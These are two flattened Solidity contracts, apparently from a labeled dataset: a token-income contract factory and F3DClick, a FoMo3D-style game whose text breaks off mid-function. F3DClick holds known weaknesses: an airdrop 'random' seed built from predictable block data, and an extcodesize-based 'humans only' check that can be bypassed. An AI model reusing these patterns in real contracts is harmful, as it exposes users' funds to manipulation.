pragma solidity ^0.4.13; contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Destructible is Ownable { function Destructible() payable { } function destroy() onlyOwner { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner { selfdestruct(_recipient); } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract PullPayment { using SafeMath for uint256; mapping(address => uint256) public payments; uint256 public totalPayments; function asyncSend(address dest, uint256 amount) internal { payments[dest] = payments[dest].add(amount); totalPayments = totalPayments.add(amount); } function withdrawPayments() { address payee = msg.sender; uint256 payment = payments[payee]; require(payment != 0); require(this.balance >= payment); totalPayments = totalPayments.sub(payment); payments[payee] = 0; assert(payee.send(payment)); } } contract Generatable{ function generate( address token, address contractOwner, uint256 cycle ) public returns(address); } contract ERC20 { function decimals() public view returns (uint8); function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer( ERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract ContractFactory is Destructible,PullPayment{ using SafeERC20 for ERC20; uint256 public diviRate; uint256 public developerTemplateAmountLimit; address public platformWithdrawAccount; struct userContract{ uint256 templateId; uint256 orderid; address contractAddress; uint256 incomeDistribution; uint256 creattime; uint256 endtime; } struct contractTemplate{ string templateName; address contractGeneratorAddress; string abiStr; uint256 startTime; uint256 endTime; uint256 startUp; uint256 profit; uint256 quota; uint256 cycle; address token; } mapping(address => userContract[]) public userContractsMap; mapping(uint256 => contractTemplate) public contractTemplateAddresses; mapping(uint256 => uint256) public skipMap; event ContractCreated(address indexed creator,uint256 templateId,uint256 orderid,address contractAddress); event ContractTemplatePublished(uint256 indexed templateId,address creator,string templateName,address contractGeneratorAddress); event Log(address data); event yeLog(uint256 balanceof); function ContractFactory(){ diviRate=5; platformWithdrawAccount=0xc645eadc9188cb0bad4e603f78ff171dabc1b18b; developerTemplateAmountLimit=500000000000000000; } function generateContract(uint256 templateId,uint256 orderid) public returns(address){ contractTemplate storage ct = contractTemplateAddresses[templateId]; if(ct.contractGeneratorAddress!=0x0){ address contractTemplateAddress = ct.contractGeneratorAddress; string templateName = ct.templateName; require(block.timestamp >= ct.startTime); require(block.timestamp <= ct.endTime); Generatable generator = Generatable(contractTemplateAddress); address target = generator.generate(ct.token,msg.sender,ct.cycle); userContract[] storage userContracts = userContractsMap[msg.sender]; userContracts.push(userContract(templateId,orderid,target,1,now,now.add(uint256(1 days)))); ContractCreated(msg.sender,templateId,orderid,target); return target; }else{ revert(); } } function returnOfIncome(address user,uint256 _index) public{ require(msg.sender == user); userContract[] storage ucs = userContractsMap[user]; if(ucs[_index].contractAddress!=0x0 && ucs[_index].incomeDistribution == 1){ contractTemplate storage ct = contractTemplateAddresses[ucs[_index].templateId]; if(ct.contractGeneratorAddress!=0x0){ if(now > ucs[_index].creattime.add(uint256(1 days))){ revert(); } ERC20 token = ERC20(ct.token); uint256 balanceof = token.balanceOf(ucs[_index].contractAddress); uint8 decimals = token.decimals(); if(balanceof < ct.startUp) revert(); uint256 investment = 0; if(balanceof > ct.quota.mul(10**decimals)){ investment = ct.quota.mul(10**decimals); } else { investment = balanceof; } uint256 income = ct.profit.mul(ct.cycle).mul(investment).div(36000); if(!token.transfer(ucs[_index].contractAddress,income)){ revert(); } else { ucs[_index].incomeDistribution = 2; } }else{ revert(); } }else{ revert(); } } function publishContractTemplate( uint256 templateId, string _templateName, address _contractGeneratorAddress, string _abiStr, uint256 _startTime, uint256 _endTime, uint256 _profit, uint256 _startUp, uint256 _quota, uint256 _cycle, address _token ) public { if(msg.sender!=owner){ revert(); } contractTemplate storage ct = contractTemplateAddresses[templateId]; if(ct.contractGeneratorAddress!=0x0){ revert(); }else{ ct.templateName = _templateName; ct.contractGeneratorAddress = _contractGeneratorAddress; ct.abiStr = _abiStr; ct.startTime = _startTime; ct.endTime = _endTime; ct.startUp = _startUp; ct.profit = _profit; ct.quota = _quota; ct.cycle = _cycle; ct.token = _token; ContractTemplatePublished(templateId,msg.sender,_templateName,_contractGeneratorAddress); } } function queryPublishedContractTemplate( uint256 templateId ) public constant returns( string, address, string, uint256, uint256, uint256, uint256, uint256, uint256, address ) { contractTemplate storage ct = contractTemplateAddresses[templateId]; if(ct.contractGeneratorAddress!=0x0){ return ( ct.templateName, ct.contractGeneratorAddress, ct.abiStr, ct.startTime, ct.endTime, ct.profit, ct.startUp, ct.quota, ct.cycle, ct.token ); }else{ return ('',0x0,'',0,0,0,0,0,0,0x0); } } function queryUserContract(address user,uint256 _index) public constant returns( uint256, uint256, address, uint256, uint256, uint256 ){ require(msg.sender == user); userContract[] storage ucs = userContractsMap[user]; contractTemplate storage ct = contractTemplateAddresses[ucs[_index].templateId]; ERC20 tokens = ERC20(ct.token); uint256 balanceofs = tokens.balanceOf(ucs[_index].contractAddress); return ( ucs[_index].templateId, ucs[_index].orderid, ucs[_index].contractAddress, ucs[_index].incomeDistribution, ucs[_index].endtime, balanceofs ); } function queryUserContractCount(address user) public constant returns (uint256){ require(msg.sender == user); userContract[] storage ucs = userContractsMap[user]; return ucs.length; } function changeDiviRate(uint256 _diviRate) external onlyOwner(){ diviRate=_diviRate; } function changePlatformWithdrawAccount(address _platformWithdrawAccount) external onlyOwner(){ platformWithdrawAccount=_platformWithdrawAccount; } function changeDeveloperTemplateAmountLimit(uint256 _developerTemplateAmountLimit) external onlyOwner(){ developerTemplateAmountLimit=_developerTemplateAmountLimit; } function addSkipPrice(uint256 price) external onlyOwner(){ skipMap[price]=1; } function removeSkipPrice(uint256 price) external onlyOwner(){ skipMap[price]=0; } }
0
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract F3DClick is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF3681dFcc199123fAFCd4E6e186f66c621ecE3B1); address private admin = 0x700D7ccD114D988f0CEDDFCc60dd8c3a2f7b49FB; address private coin_base = 0xD591678684E7c2f033b5eFF822553161bdaAd781; string constant public name = "F3DClick"; string constant public symbol = "F3DClick"; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 60 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d.sub(_p3d / 2)); coin_base.transfer(_com); _res = _res.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(coin_base).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; coin_base.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = 